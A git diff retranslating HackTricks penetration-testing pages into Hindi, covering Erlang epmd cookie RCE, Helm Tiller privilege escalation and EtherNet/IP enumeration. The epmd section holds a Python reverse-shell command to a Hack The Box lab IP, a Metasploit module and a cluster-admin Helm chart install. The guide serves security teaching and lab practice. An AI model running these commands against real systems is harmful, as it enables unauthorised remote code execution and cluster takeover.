|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Info
|
||||||
|
|
||||||
**अर्लैंग पोर्ट मैपर डेमन (epmd)** वितरित अर्लैंग इंस्टेंसेज के लिए एक समन्वयक के रूप में कार्य करता है। यह प्रतीकात्मक नोड नामों को मशीन पतों से मैपिंग करने के लिए जिम्मेदार है, मुख्य रूप से सुनिश्चित करता है कि प्रत्येक नोड नाम किसी विशिष्ट पते से संबंधित है। **epmd** की यह भूमिका विभिन्न अर्लैंग नोडों के बीच एक नेटवर्क पर संवाद और संचार के लिए महत्वपूर्ण है।
|
**Erlang Port Mapper Daemon (epmd)** विभिन्न Erlang उदाहरणों के लिए एक समन्वयक के रूप में कार्य करता है। यह प्रतीकात्मक नोड नामों को मशीन पते से मानचित्रित करने के लिए जिम्मेदार है, मूल रूप से यह सुनिश्चित करता है कि प्रत्येक नोड नाम एक विशिष्ट पते से जुड़ा हो। **epmd** की यह भूमिका नेटवर्क में विभिन्न Erlang नोड्स के बीच निर्बाध इंटरैक्शन और संचार के लिए महत्वपूर्ण है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट**: 4369
|
**डिफ़ॉल्ट पोर्ट**: 4369
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||||
```
|
```
|
||||||
Yah RabbitMQ और CouchDB installations पर डिफ़ॉल्ट रूप से उपयोग किया जाता है।
|
यह डिफ़ॉल्ट रूप से RabbitMQ और CouchDB इंस्टॉलेशन पर उपयोग किया जाता है।
|
||||||
|
|
||||||
# जाँच
|
# Enumeration
|
||||||
|
|
||||||
## मैन्युअल
|
## Manual
|
||||||
```bash
|
```bash
|
||||||
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
||||||
|
|
||||||
|
@ -51,11 +52,11 @@ PORT STATE SERVICE VERSION
|
||||||
| kazoo_apps: 11500
|
| kazoo_apps: 11500
|
||||||
|_ kazoo-rabbitmq: 25672
|
|_ kazoo-rabbitmq: 25672
|
||||||
```
|
```
|
||||||
# Erlang कुकी RCE
|
# Erlang Cookie RCE
|
||||||
|
|
||||||
## रिमोट कनेक्शन
|
## Remote Connection
|
||||||
|
|
||||||
अगर आप **प्रमाणीकरण कुकी लीक कर सकते हैं** तो आप मेजबान पर कोड का निष्पादन कर सकेंगे। सामान्यत: यह कुकी `~/.erlang.cookie` में स्थित होती है और पहली बार शुरू करने पर एरलैंग द्वारा उत्पन्न की जाती है। यदि इसे संशोधित नहीं किया गया है या मैन्युअल रूप से सेट नहीं किया गया है तो यह एक यादृच्छिक स्ट्रिंग \[A:Z] है जिसकी लंबाई 20 वर्ण होती है।
|
यदि आप **Authentication cookie** को लीक कर सकते हैं, तो आप होस्ट पर कोड निष्पादित कर सकेंगे। आमतौर पर, यह कुकी `~/.erlang.cookie` में स्थित होती है और इसे एर्लांग द्वारा पहले प्रारंभ पर उत्पन्न किया जाता है। यदि इसे संशोधित या मैन्युअल रूप से सेट नहीं किया गया है, तो यह 20 वर्णों की लंबाई के साथ एक यादृच्छिक स्ट्रिंग \[A:Z] होती है।
|
||||||
```bash
|
```bash
|
||||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||||
|
@ -67,42 +68,44 @@ At last, we can start an erlang shell on the remote system.
|
||||||
(test@target.fqdn)1>os:cmd("id").
|
(test@target.fqdn)1>os:cmd("id").
|
||||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||||
```
|
```
|
||||||
अधिक जानकारी [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/) में उपलब्ध है।\
|
अधिक जानकारी के लिए [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||||
लेखक ने कुकी को ब्रूटफोर्स करने के लिए एक प्रोग्राम भी साझा किया:
|
लेखक ने कुकी को ब्रूटफोर्स करने के लिए एक प्रोग्राम भी साझा किया है:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||||
|
|
||||||
## स्थानीय कनेक्शन
|
## स्थानीय कनेक्शन
|
||||||
|
|
||||||
इस मामले में हम स्थानीय रूप से वर्चस्व बढ़ाने के लिए CouchDB का दुरुपयोग करेंगे:
|
इस मामले में हम स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए CouchDB का दुरुपयोग करने जा रहे हैं:
|
||||||
```bash
|
```bash
|
||||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||||
"homer\n"
|
"homer\n"
|
||||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||||
```
|
```
|
||||||
उदाहरण [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) से लिया गया है।\
|
Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||||
आप **Canape HTB मशीन का उपयोग** कर सकते हैं इस वल्न का **शिक्षण** करने के लिए कैसे **शोषित** करें।
|
आप **Canape HTB मशीन का उपयोग कर सकते हैं** **अभ्यास करने के लिए** कि **इस vuln का कैसे लाभ उठाना है**।
|
||||||
|
|
||||||
## Metasploit
|
## Metasploit
|
||||||
```bash
|
```bash
|
||||||
#Metasploit can also exploit this if you know the cookie
|
#Metasploit can also exploit this if you know the cookie
|
||||||
msf5> use exploit/multi/misc/erlang_cookie_rce
|
msf5> use exploit/multi/misc/erlang_cookie_rce
|
||||||
```
|
```
|
||||||
# शोडन
|
# Shodan
|
||||||
|
|
||||||
* `port:4369 "पोर्ट पर"`
|
* `port:4369 "पोर्ट पर"`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,31 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# Basic Information
|
||||||
|
|
||||||
Helm Kubernetes के **पैकेज प्रबंधक** है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को **Helm Charts** कहा जाता है। **Tiller** डिफ़ॉल्ट रूप से पोर्ट 44134 पर चल रही **सेवा** है जो सेवा प्रदान करती है।
|
Helm **कubernetes** के लिए **पैकेज प्रबंधक** है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को **Helm Charts** कहा जाता है। **Tiller** वह **सेवा** है जो डिफ़ॉल्ट रूप से पोर्ट 44134 में चल रही है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 44134
|
**डिफ़ॉल्ट पोर्ट:** 44134
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
44134/tcp open unknown
|
44134/tcp open unknown
|
||||||
```
|
```
|
||||||
# जाँच
|
# Enumeration
|
||||||
|
|
||||||
यदि आप **विभिन्न नेमस्पेस के पॉड और/या सेवाएं जाँच सकते हैं** तो उन्हें जाँचें और **उन्हें खोजें जिनमें उनके नाम में "tiller" है**:
|
यदि आप विभिन्न नामस्थानों के **पॉड्स और/या सेवाओं को सूचीबद्ध कर सकते हैं**, तो उन्हें सूचीबद्ध करें और उन पर खोज करें जिनके नाम में **"tiller"** है:
|
||||||
```bash
|
```bash
|
||||||
kubectl get pods | grep -i "tiller"
|
kubectl get pods | grep -i "tiller"
|
||||||
kubectl get services | grep -i "tiller"
|
kubectl get services | grep -i "tiller"
|
||||||
|
@ -45,24 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
||||||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||||
```
|
```
|
||||||
आप इस सेवा को चलते हुए ढूंढने के लिए पोर्ट 44134 की जांच कर सकते हैं:
|
आप इस सेवा को चलाते हुए पोर्ट 44134 की जांच करके भी खोजने की कोशिश कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
sudo nmap -sS -p 44134 <IP>
|
sudo nmap -sS -p 44134 <IP>
|
||||||
```
|
```
|
||||||
एक बार जैसे ही आप इसे खोज लेते हैं, तो आप उसके साथ संवाद कर सकते हैं और क्लाइंट हेल्म एप्लिकेशन डाउनलोड कर सकते हैं। आप `homebrew` जैसे उपकरणों का उपयोग कर सकते हैं, या [**आधिकारिक रिलीज पेज**](https://github.com/helm/helm/releases)** पर देख सकते हैं**। अधिक विवरण के लिए, या अन्य विकल्पों के लिए, [स्थापना गाइड](https://v2.helm.sh/docs/using\_helm/#installing-helm) देखें।
|
एक बार जब आप इसे खोज लेते हैं, तो आप क्लाइंट हेल्म एप्लिकेशन डाउनलोड करके इसके साथ संवाद कर सकते हैं। आप `homebrew` जैसे टूल का उपयोग कर सकते हैं, या [**आधिकारिक रिलीज़ पृष्ठ**](https://github.com/helm/helm/releases)** को देख सकते हैं।** अधिक विवरण के लिए, या अन्य विकल्पों के लिए, [स्थापना गाइड](https://v2.helm.sh/docs/using\_helm/#installing-helm) देखें।
|
||||||
|
|
||||||
फिर, आप **सेवा की जांच कर सकते हैं**:
|
फिर, आप **सेवा की गणना कर सकते हैं**:
|
||||||
```
|
```
|
||||||
helm --host tiller-deploy.kube-system:44134 version
|
helm --host tiller-deploy.kube-system:44134 version
|
||||||
```
|
```
|
||||||
## विशेषाधिकार उन्नयन
|
## Privilege Escalation
|
||||||
|
|
||||||
डिफ़ॉल्ट रूप से **Helm2** को **नेमस्पेस kube-system** में **उच्च विशेषाधिकारों** के साथ स्थापित किया गया था, इसलिए अगर आप सेवा को खोजते हैं और इसका उपयोग कर सकते हैं, तो यह आपको **विशेषाधिकारों को उन्नत करने** की अनुमति देगा।
|
डिफ़ॉल्ट रूप से **Helm2** को **namespace kube-system** में **उच्च विशेषाधिकार** के साथ स्थापित किया गया था, इसलिए यदि आप सेवा को खोजते हैं और इसमें पहुंच रखते हैं, तो यह आपको **विशेषाधिकार बढ़ाने** की अनुमति दे सकता है।
|
||||||
|
|
||||||
आपको बस इस तरह के किसी पैकेज को स्थापित करना होगा: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) जो **डिफ़ॉल्ट सेवा टोकन को समूह के सम्पूर्ण क्षेत्र में पहुंच देगा।**
|
आपको बस इतना करना है कि एक पैकेज स्थापित करें जैसे कि यह: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) जो **डिफ़ॉल्ट सेवा टोकन को पूरे क्लस्टर में सब कुछ एक्सेस करने की अनुमति देगा।**
|
||||||
```
|
```
|
||||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||||
/pwnchart
|
/pwnchart
|
||||||
```
|
```
|
||||||
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) में आपको **हमले की व्याख्या** मिलेगी, लेकिन मूल रूप से, अगर आप _helm-tiller-pwn/pwnchart/templates/_ के भीतर [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) और [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) फ़ाइलें पढ़ते हैं तो आप देख सकते हैं कि **सभी विशेषाधिकार डिफ़ॉल्ट टोकन को दिए जा रहे हैं**।
|
In [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) में आपके पास **हमले का विवरण** है, लेकिन मूल रूप से, यदि आप फ़ाइलें [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) और [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) _helm-tiller-pwn/pwnchart/templates/_ के अंदर पढ़ते हैं, तो आप देख सकते हैं कि **सभी विशेषाधिकार डिफ़ॉल्ट टोकन को दिए जा रहे हैं**।
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,48 +1,50 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# **प्रोटोकॉल सूचना**
|
# **प्रोटोकॉल जानकारी**
|
||||||
|
|
||||||
EtherNet/IP एक **औद्योगिक इथरनेट नेटवर्किंग प्रोटोकॉल** है जो **औद्योगिक स्वचालन प्रणालियों** में सामान्य रूप से उपयोग किया जाता है। यह दशक 1990 के दशक में Rockwell Automation द्वारा विकसित किया गया था और ODVA द्वारा प्रबंधित किया जाता है। यह प्रोटोकॉल **बहु-विक्रेता सिस्टम अंतरसंवाद** सुनिश्चित करता है और **जल प्रसंस्करण संयंत्र**, **निर्माण सुविधाएं**, और **उपयोगिताएं** जैसे विभिन्न अनुप्रयोगों में उपयोग किया जाता है। एक EtherNet/IP उपकरण की पहचान करने के लिए, एक क्वेरी **TCP/44818** पर भेजी जाती है जिसमें **सूची पहचान संदेश (0x63)** होता है।
|
EtherNet/IP एक **औद्योगिक ईथरनेट नेटवर्किंग प्रोटोकॉल** है जो आमतौर पर **औद्योगिक स्वचालन नियंत्रण प्रणालियों** में उपयोग किया जाता है। इसे 1990 के दशक के अंत में रॉकवेल ऑटोमेशन द्वारा विकसित किया गया था और इसे ODVA द्वारा प्रबंधित किया जाता है। यह प्रोटोकॉल **बहु-विक्रेता प्रणाली अंतःक्रियाशीलता** सुनिश्चित करता है और इसका उपयोग विभिन्न अनुप्रयोगों जैसे **जल प्रसंस्करण संयंत्र**, **निर्माण सुविधाएं**, और **सुविधाएं** में किया जाता है। एक EtherNet/IP डिवाइस की पहचान करने के लिए, **TCP/44818** पर एक **सूची पहचान संदेश (0x63)** भेजा जाता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 44818 UDP/TCP
|
**डिफ़ॉल्ट पोर्ट:** 44818 UDP/TCP
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
44818/tcp open EtherNet/IP
|
44818/tcp open EtherNet/IP
|
||||||
```
|
```
|
||||||
# **जाँच**
|
# **सूचीकरण**
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script enip-info -p 44818 <IP>
|
nmap -n -sV --script enip-info -p 44818 <IP>
|
||||||
pip3 install cpppo
|
pip3 install cpppo
|
||||||
python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity -a <IP>
|
python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity -a <IP>
|
||||||
```
|
```
|
||||||
# शोडन
|
# Shodan
|
||||||
|
|
||||||
* `port:44818 "उत्पाद का नाम"`
|
* `port:44818 "उत्पाद का नाम"`
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें जीरो से हीरो तक AWS हैकिंग को</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> सीखें!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,29 +1,31 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
